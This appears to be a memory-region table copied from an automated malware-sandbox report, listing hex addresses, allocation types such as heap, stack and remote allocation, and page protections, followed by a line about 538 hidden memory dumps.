page read and write
20597FC000
stack
page read and write
226647E8000
heap
page read and write
22665958000
heap
page read and write
1322BDD9000
trusted library allocation
page read and write
7FFAAC020000
trusted library allocation
page read and write
2250B201000
trusted library allocation
page read and write
7FFAABF30000
trusted library allocation
page read and write
2EC0000
heap
page read and write
7FFB226D6000
unkown
page readonly
22662E90000
heap
page read and write
1322BA50000
trusted library allocation
page read and write
1647000
heap
page read and write
4DF88F5000
stack
page read and write
67D0000
trusted library allocation
page read and write
2253CAC6000
heap
page read and write
13243CC0000
heap
page read and write
22662E6E000
heap
page read and write
13243DD7000
heap
page execute and read and write
2F70000
trusted library allocation
page read and write
7FFB226C0000
unkown
page readonly
7FFAABFD0000
trusted library allocation
page read and write
42AB000
trusted library allocation
page read and write
22662FE5000
heap
page read and write
205977E000
stack
page read and write
1322C09A000
trusted library allocation
page read and write
4DF8FFB000
stack
page read and write
226657B1000
heap
page read and write
2253CA30000
heap
page read and write
7FFAABF70000
trusted library allocation
page read and write
7000F3C000
stack
page read and write
2253CB09000
heap
page read and write
22664DE0000
remote allocation
page read and write
20593FE000
stack
page read and write
226647CE000
heap
page read and write
40BC000
trusted library allocation
page read and write
22664900000
heap
page read and write
6406000
trusted library allocation
page read and write
13229DD0000
heap
page read and write
2253CDE4000
heap
page read and write
60BE000
stack
page read and write
1322BEF4000
trusted library allocation
page read and write
226657D0000
heap
page read and write
7FFB226C1000
unkown
page execute read
22665913000
heap
page read and write
1322BB00000
heap
page read and write
22664E5D000
heap
page read and write
6B3E000
stack
page read and write
2253E490000
trusted library allocation
page read and write
226647EE000
heap
page read and write
22662E1E000
heap
page read and write
22662C80000
heap
page read and write
4100000
trusted library allocation
page read and write
4291000
trusted library allocation
page read and write
740D000
stack
page read and write
205967F000
stack
page read and write
6820000
trusted library allocation
page execute and read and write
59BE000
stack
page read and write
22662FE0000
heap
page read and write
6830000
trusted library allocation
page execute and read and write
FF4F0000
trusted library allocation
page execute and read and write
226647E0000
heap
page read and write
62FC000
stack
page read and write
2253CAE0000
heap
page read and write
6850000
trusted library allocation
page execute and read and write
57A0000
heap
page read and write
6A3E000
stack
page read and write
22664EAC000
heap
page read and write
22664F3E000
heap
page read and write
1322BC60000
heap
page execute and read and write
226647EE000
heap
page read and write
226657C8000
heap
page read and write
6931000
heap
page read and write
4DF8AFF000
stack
page read and write
2253CA50000
heap
page read and write
7000D7E000
stack
page read and write
4DF92FE000
stack
page read and write
2058D9E000
stack
page read and write
13243CCD000
heap
page read and write
7FFAABDE0000
trusted library allocation
page read and write
6EC5D000
unkown
page read and write
13243DA0000
heap
page read and write
550E000
stack
page read and write
22664EE1000
heap
page read and write
1322BA70000
trusted library allocation
page read and write
22662DCD000
heap
page read and write
1322C0BC000
trusted library allocation
page read and write
226659D6000
heap
page read and write
13229ED7000
heap
page read and write
13243FCC000
heap
page read and write
2266595C000
heap
page read and write
7FFAABFB0000
trusted library allocation
page read and write
7000B7E000
stack
page read and write
5EFE000
stack
page read and write
226658DA000
heap
page read and write
226647EE000
heap
page read and write
13243FB0000
heap
page read and write
22665958000
heap
page read and write
31AE000
trusted library allocation
page read and write
22662DEA000
heap
page read and write
7000EB7000
stack
page read and write
6BE9000
trusted library allocation
page read and write
7FFAABFF0000
trusted library allocation
page read and write
2253CA89000
heap
page read and write
1322BD90000
trusted library allocation
page read and write
226659BD000
heap
page read and write
DF0000
heap
page read and write
40B6000
trusted library allocation
page read and write
1322B6C0000
heap
page read and write
22664EFC000
heap
page read and write
22503C01000
trusted library allocation
page read and write
6800000
trusted library allocation
page read and write
22664DE0000
remote allocation
page read and write
7FFAABF20000
trusted library allocation
page execute and read and write
22664EFC000
heap
page read and write
22662E57000
heap
page read and write
226647E9000
heap
page read and write
7000C7E000
stack
page read and write
1322C0DD000
trusted library allocation
page read and write
1322BD93000
trusted library allocation
page read and write
7FFAABD40000
trusted library allocation
page read and write
4DF90FB000
stack
page read and write
70007F3000
stack
page read and write
2EA0000
trusted library allocation
page execute and read and write
6EC40000
unkown
page readonly
22662E43000
heap
page read and write
40C9000
trusted library allocation
page read and write
22662E30000
heap
page read and write
7FFAAC000000
trusted library allocation
page read and write
22664E40000
heap
page read and write
22664DE0000
remote allocation
page read and write
6EC41000
unkown
page execute read
2253E450000
trusted library allocation
page read and write
7FFAABDE6000
trusted library allocation
page read and write
7FFB226E0000
unkown
page read and write
58B9000
stack
page read and write
1613000
trusted library allocation
page execute and read and write
2250A801000
trusted library allocation
page read and write
138E000
stack
page read and write
13243D20000
heap
page read and write
40F5000
trusted library allocation
page read and write
2253CACA000
heap
page read and write
226647EE000
heap
page read and write
40BA000
trusted library allocation
page read and write
226653B0000
trusted library allocation
page read and write
7FFAABD33000
trusted library allocation
page execute and read and write
2253E410000
heap
page read and write
226647DE000
heap
page read and write
429B000
trusted library allocation
page read and write
226657CC000
heap
page read and write
22662E43000
heap
page read and write
22664EDB000
heap
page read and write
7FFAAC030000
trusted library allocation
page read and write
6902000
heap
page read and write
412A000
trusted library allocation
page read and write
4DF8DFE000
stack
page read and write
1322C1D9000
trusted library allocation
page read and write
1322C224000
trusted library allocation
page read and write
4106000
trusted library allocation
page read and write
1322BD0F000
trusted library allocation
page read and write
1623000
trusted library allocation
page read and write
1322BC97000
trusted library allocation
page read and write
7FFAABE16000
trusted library allocation
page execute and read and write
411C000
trusted library allocation
page read and write
226657D1000
heap
page read and write
6EC5F000
unkown
page readonly
22664E90000
heap
page read and write
13229E33000
heap
page read and write
2DFB000
trusted library allocation
page execute and read and write
6B70000
trusted library allocation
page read and write
226647D0000
heap
page read and write
1250000
heap
page read and write
22664EC1000
heap
page read and write
226647EE000
heap
page read and write
6EC56000
unkown
page readonly
22665858000
heap
page read and write
2253CA80000
heap
page read and write
226659DB000
heap
page read and write
226647CF000
heap
page read and write
5B3E000
stack
page read and write
13229EE0000
heap
page read and write
13243DD0000
heap
page execute and read and write
22662E33000
heap
page read and write
7FFAABF40000
trusted library allocation
page read and write
7000DF8000
stack
page read and write
22664E00000
heap
page read and write
7FFB226E2000
unkown
page readonly
226647C3000
heap
page read and write
226647EE000
heap
page read and write
22664E05000
heap
page read and write
400000
remote allocation
page execute and read and write
22664F3E000
heap
page read and write
22664E90000
heap
page read and write
61BC000
stack
page read and write
578E000
stack
page read and write
1284000
heap
page read and write
22662E6E000
heap
page read and write
1323BC80000
trusted library allocation
page read and write
1322BC20000
trusted library allocation
page read and write
7FFAABFE0000
trusted library allocation
page read and write
226659C6000
heap
page read and write
5F7D000
stack
page read and write
40EC000
trusted library allocation
page read and write
2253E480000
heap
page readonly
554C000
stack
page read and write
69A0000
heap
page read and write
15D0000
heap
page read and write
7FFAABF12000
trusted library allocation
page read and write
15CD000
stack
page read and write
22664EAC000
heap
page read and write
1322C1EF000
trusted library allocation
page read and write
2058DDF000
stack
page read and write
5D30000
heap
page read and write
308F000
stack
page read and write
6B40000
trusted library allocation
page read and write
226647C2000
heap
page read and write
13229E76000
heap
page read and write
7FFAAC050000
trusted library allocation
page read and write
22665858000
heap
page read and write
2E10000
trusted library allocation
page read and write
2DF5000
trusted library allocation
page execute and read and write
22665871000
heap
page read and write
124E000
stack
page read and write
1322C387000
trusted library allocation
page read and write
7DF4CC960000
trusted library allocation
page execute and read and write
7FFB226D6000
unkown
page readonly
65EE000
stack
page read and write
1322C217000
trusted library allocation
page read and write
2253E5B4000
heap
page read and write
4DF94FB000
stack
page read and write
226650D0000
heap
page read and write
40F1000
trusted library allocation
page read and write
6590000
trusted library allocation
page read and write
22662D60000
heap
page read and write
1322BCBE000
trusted library allocation
page read and write
22664E47000
heap
page read and write
13CE000
stack
page read and write
14C7000
heap
page read and write
7000BFD000
stack
page read and write
700123B000
stack
page read and write
1614000
trusted library allocation
page read and write
7000CFE000
stack
page read and write
22664EFC000
heap
page read and write
22662E81000
heap
page read and write
2253CDE0000
heap
page read and write
226647D0000
heap
page read and write
6B50000
trusted library allocation
page read and write
1287000
heap
page read and write
5FBF000
stack
page read and write
22662E81000
heap
page read and write
226647CE000
heap
page read and write
DBB000
stack
page read and write
518E000
stack
page read and write
40B1000
trusted library allocation
page read and write
2253E90F000
heap
page read and write
22501401000
trusted library allocation
page read and write
226659D3000
heap
page read and write
205927F000
stack
page read and write
162D000
trusted library allocation
page execute and read and write
22665958000
heap
page read and write
2E9C000
stack
page read and write
4DF8CFF000
stack
page read and write
2DF7000
trusted library allocation
page execute and read and write
226659D8000
heap
page read and write
13243D1E000
heap
page read and write
40E8000
trusted library allocation
page read and write
226647C7000
heap
page read and write
5DFE000
trusted library allocation
page read and write
226659B5000
heap
page read and write
226647C5000
heap
page read and write
4091000
trusted library allocation
page read and write
4DF91FF000
stack
page read and write
226647CF000
heap
page read and write
62BD000
stack
page read and write
1632000
trusted library allocation
page read and write
2253CA20000
heap
page read and write
6B60000
trusted library allocation
page read and write
22509E01000
trusted library allocation
page read and write
126F000
heap
page read and write
226647E9000
heap
page read and write
22664EA2000
heap
page read and write
22501E01000
trusted library allocation
page read and write
226651D0000
heap
page read and write
65A0000
trusted library allocation
page read and write
226659C1000
heap
page read and write
226647EB000
heap
page read and write
7FFAABDF0000
trusted library allocation
page execute and read and write
22500001000
trusted library allocation
page read and write
63FE000
stack
page read and write
1322C0FD000
trusted library allocation
page read and write
6C2C000
stack
page read and write
7FFAABF90000
trusted library allocation
page read and write
13229E2B000
heap
page read and write
226647EE000
heap
page read and write
57B0000
heap
page execute and read and write
22664E47000
heap
page read and write
22665958000
heap
page read and write
132442B0000
heap
page read and write
5643000
heap
page read and write
205907E000
stack
page read and write
163A000
trusted library allocation
page execute and read and write
40E2000
trusted library allocation
page read and write
22665817000
heap
page read and write
22664EB2000
heap
page read and write
22664EDB000
heap
page read and write
7FFB226E5000
unkown
page readonly
7FFB226C1000
unkown
page execute read
67A0000
heap
page read and write
755C000
stack
page read and write
6400000
trusted library allocation
page read and write
22665858000
heap
page read and write
2EB0000
trusted library allocation
page read and write
226647CA000
heap
page read and write
226647DC000
heap
page read and write
22662DB6000
heap
page read and write
22665996000
heap
page read and write
20590FE000
stack
page read and write
700113E000
stack
page read and write
22662DBA000
heap
page read and write
226647C6000
heap
page read and write
1322BC71000
trusted library allocation
page read and write
13229CD0000
heap
page read and write
1307000
heap
page read and write
7FFAABFC0000
trusted library allocation
page read and write
12D0000
heap
page read and write
226647EE000
heap
page read and write
22503201000
trusted library allocation
page read and write
22664806000
heap
page read and write
226647C0000
heap
page read and write
2253E470000
trusted library allocation
page read and write
22508A01000
trusted library allocation
page read and write
1130000
heap
page read and write
22662E15000
heap
page read and write
226647D8000
heap
page read and write
22664F0E000
heap
page read and write
1322BDDF000
trusted library allocation
page read and write
59FE000
stack
page read and write
2E5E000
stack
page read and write
22662E12000
heap
page read and write
226657EF000
heap
page read and write
6C30000
trusted library section
page read and write
22665858000
heap
page read and write
205917F000
stack
page read and write
1322C26E000
trusted library allocation
page read and write
67B0000
heap
page read and write
1322BCDE000
trusted library allocation
page read and write
13243ED0000
heap
page read and write
1322C053000
trusted library allocation
page read and write
22664F1A000
heap
page read and write
22665050000
heap
page read and write
2266595B000
heap
page read and write
6585000
trusted library allocation
page read and write
226659C1000
heap
page read and write
7FFAABD34000
trusted library allocation
page read and write
2F80000
heap
page execute and read and write
13243E70000
heap
page execute and read and write
7FFAAC010000
trusted library allocation
page read and write
22662E51000
heap
page read and write
5640000
heap
page read and write
22662E12000
heap
page read and write
7FFAABF50000
trusted library allocation
page read and write
7FFB226C0000
unkown
page readonly
70010BF000
stack
page read and write
13243D7E000
heap
page read and write
40A0000
trusted library allocation
page read and write
2253E5B0000
heap
page read and write
226659B0000
heap
page read and write
22662E12000
heap
page read and write
22662E12000
heap
page read and write
6B4E000
trusted library allocation
page read and write
22664EA2000
heap
page read and write
1323BC71000
trusted library allocation
page read and write
22508001000
trusted library allocation
page read and write
1323BCE0000
trusted library allocation
page read and write
1630000
trusted library allocation
page read and write
7000A7E000
stack
page read and write
40A7000
trusted library allocation
page read and write
226647EE000
heap
page read and write
1490000
heap
page read and write
7FFAABF60000
trusted library allocation
page read and write
226659B8000
heap
page read and write
7FFAABD3D000
trusted library allocation
page execute and read and write
40C4000
trusted library allocation
page read and write
2DF0000
trusted library allocation
page read and write
226659D8000
heap
page read and write
13243FF2000
heap
page read and write
226647F0000
heap
page read and write
22664F3E000
heap
page read and write
22662DA1000
heap
page read and write
22665859000
heap
page read and write
226647CE000
heap
page read and write
40AD000
trusted library allocation
page read and write
22665842000
heap
page read and write
7410000
trusted library allocation
page execute and read and write
2ED8000
trusted library allocation
page read and write
226659D6000
heap
page read and write
22664E5F000
heap
page read and write
13229E2D000
heap
page read and write
1322C374000
trusted library allocation
page read and write
226659F4000
heap
page read and write
22502801000
trusted library allocation
page read and write
226659D8000
heap
page read and write
13243D28000
heap
page read and write
22665858000
heap
page read and write
6988000
heap
page read and write
22664806000
heap
page read and write
7FFB226E5000
unkown
page readonly
7FFAABE50000
trusted library allocation
page execute and read and write
70011BE000
stack
page read and write
There are 538 hidden memdumps, click here to show them.